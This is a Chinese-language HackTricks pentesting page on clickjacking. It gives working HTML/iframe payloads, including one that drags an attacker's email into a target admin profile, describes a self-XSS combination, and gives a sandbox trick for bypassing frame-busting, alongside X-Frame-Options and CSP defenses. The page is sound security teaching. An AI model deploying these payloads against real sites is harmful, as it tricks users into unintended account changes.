10 KiB
点击劫持
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们独家NFTs收藏品
- 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用Trickest可以轻松构建和自动化工作流程,利用世界上最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
什么是点击劫持
在点击劫持攻击中,用户被欺骗点击网页上的一个不可见或伪装成不同元素的元素。这种操纵可能会对用户造成意外后果,如下载恶意软件、重定向到恶意网页、提供凭据或敏感信息、转账、在线购买产品等。
预填表单技巧
有时可以在加载页面时使用GET参数填充表单字段的值。攻击者可能会滥用这种行为,填充表单的任意数据并发送点击劫持有效负载,以便用户按下提交按钮。
使用拖放填充表单
如果您需要用户填写表单,但又不想直接要求他输入某些特定信息(如您知道的电子邮件或特定密码),您可以要求他拖放某些内容,以便写入您控制的数据,就像这个示例中的情况。
基本有效负载
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
多步骤有效载荷
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
拖放 + 点击有效载荷
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
如果您已经确定了一个需要用户点击某个元素来触发 XSS 攻击的情况,并且页面容易受到点击劫持攻击,您可以利用这一点来欺骗用户点击按钮/链接。
示例:
您发现了账户私人详细信息中的自身 XSS(只有您可以设置和读取的详细信息)。用于设置这些详细信息的页面容易受到点击劫持攻击,您可以使用 GET 参数预填充表单。
__攻击者可以准备一个点击劫持攻击到该页面,使用 XSS 负载预填充表单,并欺骗用户提交表单。因此,当表单提交时,数值被修改,用户将执行 XSS。
减轻点击劫持的策略
客户端防御
在客户端执行的脚本可以执行操作以防止点击劫持:
- 确保应用窗口是主窗口或顶层窗口。
- 使所有框架可见。
- 防止在不可见框架上点击。
- 检测并警告用户可能的点击劫持尝试。
然而,这些破坏框架的脚本可能会被规避:
- 浏览器的安全设置: 一些浏览器可能会根据其安全设置或缺乏 JavaScript 支持来阻止这些脚本。
- HTML5 iframe
sandbox
属性: 攻击者可以通过设置sandbox
属性为allow-forms
或allow-scripts
而不包括allow-top-navigation
值来中和破坏框架脚本。这会阻止 iframe 验证是否为顶层窗口,例如,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
服务器端防御
X-Frame-Options
X-Frame-Options
HTTP响应头 通知浏览器有关在 <frame>
或 <iframe>
中呈现页面的合法性,有助于防止点击劫持:
X-Frame-Options: deny
- 没有域可以对内容进行框架化。X-Frame-Options: sameorigin
- 只有当前站点可以对内容进行框架化。X-Frame-Options: allow-from https://trusted.com
- 只有指定的 'uri' 可以对页面进行框架化。- 请注意限制:如果浏览器不支持此指令,则可能无效。一些浏览器更喜欢CSP frame-ancestors指令。
内容安全策略(CSP)frame-ancestors指令
CSP中的frame-ancestors
指令 是防止点击劫持的建议方法:
frame-ancestors 'none'
- 类似于X-Frame-Options: deny
。frame-ancestors 'self'
- 类似于X-Frame-Options: sameorigin
。frame-ancestors trusted.com
- 类似于X-Frame-Options: allow-from
。
例如,以下CSP仅允许来自相同域的框架化:
Content-Security-Policy: frame-ancestors 'self';
更多详细信息和复杂示例可在 frame-ancestors CSP文档 和 Mozilla的CSP frame-ancestors文档 中找到。
使用child-src
和frame-src
的内容安全策略(CSP)
内容安全策略(CSP) 是一项安全措施,通过指定浏览器应允许加载内容的来源,有助于防止点击劫持和其他代码注入攻击。
frame-src
指令
- 定义框架的有效来源。
- 比
default-src
指令更具体。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
这个策略允许来自相同源(self)和https://trusted-website.com 的框架。
child-src
指令
- 在 CSP 等级 2 中引入,用于设置 Web Workers 和框架的有效来源。
- 作为 frame-src 和 worker-src 的后备。
Content-Security-Policy: child-src 'self' https://trusted-website.com;
这个策略允许来自相同源(self)和https://trusted-website.com 的框架和工作者。
使用注意事项:
- 弃用: child-src 正在逐步被 frame-src 和 worker-src 取代。
- 回退行为: 如果 frame-src 不存在,则 frames 的回退选项是 child-src。如果两者都不存在,则使用 default-src。
- 严格的源定义: 在指令中只包含可信任的来源,以防止被利用。
JavaScript 打破框架的脚本
尽管不是完全可靠,基于 JavaScript 的打破框架脚本可用于防止网页被框架化。示例:
if (top !== self) {
top.location = self.location;
}
使用反CSRF令牌
- 令牌验证: 在Web应用程序中使用反CSRF令牌,以确保状态更改请求是由用户有意进行的,而不是通过Clickjacked页面。
参考资料
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
使用Trickest 可轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群组 或 电报群组 或在Twitter 🐦 @carlospolopm上关注我们。
- 通过向HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。